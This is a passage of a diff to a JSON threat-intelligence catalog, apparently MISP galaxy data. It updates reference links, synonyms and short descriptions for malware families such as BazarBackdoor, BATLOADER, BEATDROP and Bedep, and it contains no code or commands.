"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", - "https://blog.reversinglabs.com/blog/hidden-cobra", - "https://www.secureworks.com/research/threat-profiles/nickel-gladstone", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-133a" + "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" ], "synonyms": [ "COPPERHEDGE" ], "type": [] }, - "related": [ - { - "dest-uuid": "d9431c02-5391-11e8-931f-4beceb8bd697", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "bc67677c-c0e7-4fb1-8619-7f43fa3ff886", "value": "Bankshot" }, @@ -13860,9 +14709,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bart", - "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf" ], "synonyms": [], @@ -13876,8 +14725,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.batchwiper", - "https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs", - "http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html" + "http://contagiodump.blogspot.com/2012/12/batchwiper-samples.html", + "https://www.rewterz.com/rewterz-news/rewterz-threat-alert-common-raven-iocs" ], "synonyms": [], "type": [] @@ -13898,133 +14747,160 @@ "uuid": "3900aa45-a7ff-48cc-9ac0-58c7c372991e", "value": "Batel" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bat_loader", + "https://insight-jp.nttsecurity.com/post/102i7af/steelclovergoogle", + "https://medium.com/walmartglobaltech/revisiting-batloader-c2-structure-52f46ff9893a", + "https://www.esentire.com/blog/batloader-continues-to-abuse-google-search-ads-to-deliver-vidar-stealer-and-ursnif", + "https://www.trendmicro.com/en_us/research/23/a/batloader-malware-abuses-legitimate-tools-uses-obfuscated-javasc.html", + "https://www.mandiant.com/resources/seo-poisoning-batloader-atera", + "https://www.kroll.com/en/insights/publications/cyber/hive-ransomware-technical-analysis-initial-access-discovery", + "https://intel471.com/blog/malvertising-surges-to-distribute-malware", + "https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489", + "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ce6fe6c6-a74a-4cf7-adf8-41b5433bcbb6", + "value": "BATLOADER" + }, { "description": "BazarBackdoor is a small backdoor, probably by a TrickBot \"spin-off\" like anchor. Its called team9 backdoor (and the corresponding loader: team9 restart loader).\r\n\r\nFor now, it exclusively uses Emercoin domains (.bazar), thus the naming. FireEye uses KEGTAP as name for BazarLoader and BEERBOT for BazarBackdoor.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarbackdoor", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/", - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", - "https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9", - "https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/", - "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", - "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", - "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", - "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", - "https://abnormalsecurity.com/blog/bazarloader-contact-form", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", - "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", - "https://www.scythe.io/library/threatthursday-ryuk", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I", - "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", - "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", - "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://blog.minerva-labs.com/slamming-the-backdoor-on-bazarloader", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", - "https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://johannesbader.ch/blog/yet-another-bazarloader-dga/", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/", - "https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/", - "https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/", - "https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d", - "https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/", - "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", - "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", - "https://fr3d.hk/blog/campo-loader-simple-but-effective", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", - "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", - "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", - "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", - "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "https://isc.sans.edu/diary/27308", - "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", - "https://intel471.com/blog/conti-leaks-ransomware-development", - "https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", - "https://experience.mandiant.com/trending-evil/p/1", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor", - "https://twitter.com/anthomsec/status/1321865315513520128", - "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://twitter.com/Unit42_Intel/status/1458113934024757256", - "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", - "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", - "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf", - "https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", - "https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/", - "https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors", - "https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/", - "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", - "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", - "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", - "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", - "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", - "https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/", - "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/", - "https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-I", + "https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf", + "https://johannesbader.ch/blog/next-version-of-the-bazarloader-dga/", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", - "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", - "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", - "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", - "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", - "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", - "https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", - "https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/", - "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", - "https://malwarebookreports.com/bazarloader-back-from-holiday-break/", - "https://forensicitguy.github.io/bazariso-analysis-advpack/", - "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/", - "https://unit42.paloaltonetworks.com/bazarloader-malware/", - "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://www.youtube.com/watch?v=uAkeXCYcl4Y", + "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://www.vkremez.com/2020/04/lets-learn-trickbot-bazarbackdoor.html", + "https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets", "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://thedfirreport.com/2020/10/08/ryuks-return/", - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://cofense.com/blog/bazarbackdoor-stealthy-infiltration", + "https://thedfirreport.com/2021/01/31/bazar-no-ryuk/", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", "https://www.hhs.gov/sites/default/files/bazarloader.pdf", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://www.gosecure.net/blog/2021/02/01/bazarloader-mocks-researchers-in-december-2020-malspam-campaign/", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/", + "https://www.scythe.io/library/threatthursday-ryuk", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.advanced-intel.com/post/anatomy-of-attack-inside-bazarbackdoor-to-ryuk-ransomware-one-group-via-cobalt-strike", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://thedfirreport.com/2021/09/13/bazarloader-to-conti-ransomware-in-32-hours/", + "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://www.crowdstrike.com/blog/four-popular-defensive-evasion-techniques-in-2021/", + "https://www.advintel.io/post/enter-karakurt-data-extortion-arm-of-prolific-ransomware-group", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://experience.mandiant.com/trending-evil/p/1", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://abnormalsecurity.com/blog/bazarloader-contact-form", + "https://storage.pardot.com/652283/16118467480sqebwq7/MSP_Security_Summit___John_Hammond_Huntress___Analyzing_Ryuk.pdf", "https://unit42.paloaltonetworks.com/bazarloader-network-reconnaissance/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://medium.com/walmartglobaltech/decrypting-bazarloader-strings-with-a-unicorn-15d2585272a9", + "https://www.0ffset.net/reverse-engineering/analysing-the-main-bazarloader/", + "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://thedfirreport.com/2020/10/08/ryuks-return/", "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", - "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/" + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://twitter.com/Unit42_Intel/status/1458113934024757256", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/yanluowang-ransomware-attacks-continue", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv", + "https://unit42.paloaltonetworks.com/bazarloader-malware/", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://www.bleepingcomputer.com/news/security/bazarbackdoor-sneaks-in-through-nested-rar-and-zip-archives/", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.youtube.com/watch?v=pIXl79IPkLI", + "https://www.trellix.com/en-us/about/newsroom/stories/research/evolution-of-bazarcall-social-engineering-tactics.html", + "https://twitter.com/anthomsec/status/1321865315513520128", + "https://news.sophos.com/en-us/2021/04/15/bazarloader-deploys-a-pair-of-novel-spam-vectors", + "https://www.0ffset.net/reverse-engineering/bazarloader-iso-file-infection/", + "https://unit42.paloaltonetworks.com/bazarloader-anti-analysis-techniques/", + "https://www.bleepingcomputer.com/news/security/corporate-website-contact-forms-used-to-spread-bazarbackdoor-malware/", + "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", + "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", + "https://www.youtube.com/watch?v=uAkeXCYcl4Y", + "https://johannesbader.ch/blog/the-buggy-dga-of-bazarbackdoor/", + "https://thedfirreport.com/2021/03/08/bazar-drops-the-anchor/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2022_ThreatDetectionReport_RedCanary.pdf", + "https://blog.minerva-labs.com/slamming-the-backdoor-on-bazarloader", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://www.bleepingcomputer.com/news/security/malicious-csv-text-files-used-to-install-bazarbackdoor-malware/", + "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://intel471.com/blog/conti-leaks-ransomware-development", + "https://johannesbader.ch/blog/a-bazarloader-dga-that-breaks-during-summer-months/", + "https://johannesbader.ch/blog/yet-another-bazarloader-dga/", + "https://www.cybereason.com/hubfs/A%20Bazar%20of%20Tricks%20Following%20Team9%E2%80%99s%20Development%20Cycles%20IOCs.pdf", + "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/group-behind-trickbot-spreads-fileless-bazarbackdoor", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://www.fortinet.com/blog/threat-research/new-bazar-trojan-variant-is-being-spread-in-recent-phishing-campaign-part-II", + "https://unit42.paloaltonetworks.com/api-hammering-malware-families/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", + "https://www.trendmicro.com/en_us/research/21/k/bazarloader-adds-compromised-installers-iso-to-arrival-delivery-vectors.html", + "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/", + "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.hornetsecurity.com/en/threat-research/bazarloader-campaign-with-fake-termination-emails/", + "https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", + "https://johannesbader.ch/blog/the-dga-of-bazarbackdoor/", + "https://pcsxcetrasupport3.wordpress.com/2021/11/16/excel-4-macro-code-obfuscation/", + "https://www.hornetsecurity.com/en/threat-research/bazarloaders-elaborate-flower-shop-lure/", + "https://kienmanowar.wordpress.com/2022/02/24/quicknote-techniques-for-decrypting-bazarloader-strings/", + "https://www.microsoft.com/en-us/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/", + "https://fr3d.hk/blog/campo-loader-simple-but-effective", + "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://thedfirreport.com/2021/12/13/diavol-ransomware/", + "https://forensicitguy.github.io/bazariso-analysis-advpack/", + "https://malwarebookreports.com/bazarloader-back-from-holiday-break/", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://blog.fox-it.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://www.microsoft.com/security/blog/2021/07/29/bazacall-phony-call-centers-lead-to-exfiltration-and-ransomware/", + "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://elis531989.medium.com/highway-to-conti-analysis-of-bazarloader-26368765689d", + "https://twitter.com/Unit42_Intel/status/1421117403644186629?s=20", + "https://www.proofpoint.com/us/blog/threat-insight/baza-valentines-day", + "https://cofense.com/the-ryuk-threat-why-bazarbackdoor-matters-most/" ], "synonyms": [ "BEERBOT", @@ -14043,13 +14919,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bazarnimrod", + "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", + "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811", "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-backdoors-rats-loaders-evasion-techniques", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "https://www.healthcareinfosecurity.com/spear-phishing-campaign-distributes-nim-based-malware-a-16176", - "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware", - "https://medium.com/walmartglobaltech/nimar-loader-4f61c090c49e", "https://twitter.com/James_inthe_box/status/1357009652857196546", - "https://medium.com/walmartglobaltech/investigation-into-the-state-of-nim-malware-14cc543af811" + "https://www.healthcareinfosecurity.com/spear-phishing-campaign-distributes-nim-based-malware-a-16176", + "https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware" ], "synonyms": [ "NimzaLoader" @@ -14064,10 +14940,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bbsrat", - "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", - "https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae", "https://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/", - "https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb" + "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", + "https://medium.com/insomniacs/shadows-with-a-chance-of-blacknix-badc0f2f41cb", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", + "https://medium.com/insomniacs/shadows-in-the-rain-a16efaf21aae" ], "synonyms": [], "type": [] @@ -14102,24 +14979,35 @@ "value": "Beapy" }, { - "description": "", + "description": "According to Mandiant, BEATDROP is a downloader written in C that uses Atlassian's project management service Trello for C&C. BEATDROP uses Trello to store victim information and retrieve AES-encrypted shellcode payloads to be executed. BEATDROP then injects and executes downloaded payloads into a suspended process. Upon execution, BEATDROP maps a copy of ntdll.dll into memory to execute shellcode in its own process. The sample then creates a suspended thread with RtlCreateUserThread the thread points to NtCreateFile. The sample changes execution to shellcode and resumes the thread. The shellcode payload is retrieved from Trello and is targeted per victim. Once the payload has been retrieved, it is deleted from Trello.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep", - "https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop", + "https://www.incibe-cert.es/sites/default/files/contenidos/estudios/doc/incibe-cert_estudio_analisis_nobelium_2022_v1.pdf", + "https://www.mandiant.com/resources/blog/tracking-apt29-phishing-campaigns", + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", + "https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d2fd10ba-5904-4679-8758-509b72b1aa2c", + "value": "BEATDROP" + }, + { + "description": "Bedep has been mostly observed in ad-fraud campaigns, although it can also generally load modules for different tasks. It was dropped by the Angler Exploit Kit.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep", + "https://sentrant.com/2015/05/20/bedep-ad-fraud-botnet-analysis-exposing-the-mechanics-behind-153-6m-defrauded-ad-impressions-a-day/index.html", + "https://blog.talosintelligence.com/bedep-actor/", + "http://malware-traffic-analysis.net/2016/05/09/index.html", + "https://web.archive.org/web/20150524032716/http://asert.arbornetworks.com/bedeps-dga-trading-foreign-exchange-for-malware-domains/", + "https://malware.dontneedcoffee.com/2016/04/bedepantiVM.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "066f8ad3-0c99-43eb-990c-8fae2c232f62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "af338ac2-8103-4419-8393-fb4f3b43af4b", "value": "Bedep" }, @@ -14220,18 +15108,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.betabot", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", "http://www.malwaredigger.com/2013/09/how-to-extract-betabot-config-info.html", - "https://www.cybereason.com/blog/betabot-banking-trojan-neurevt", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html", "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39", - 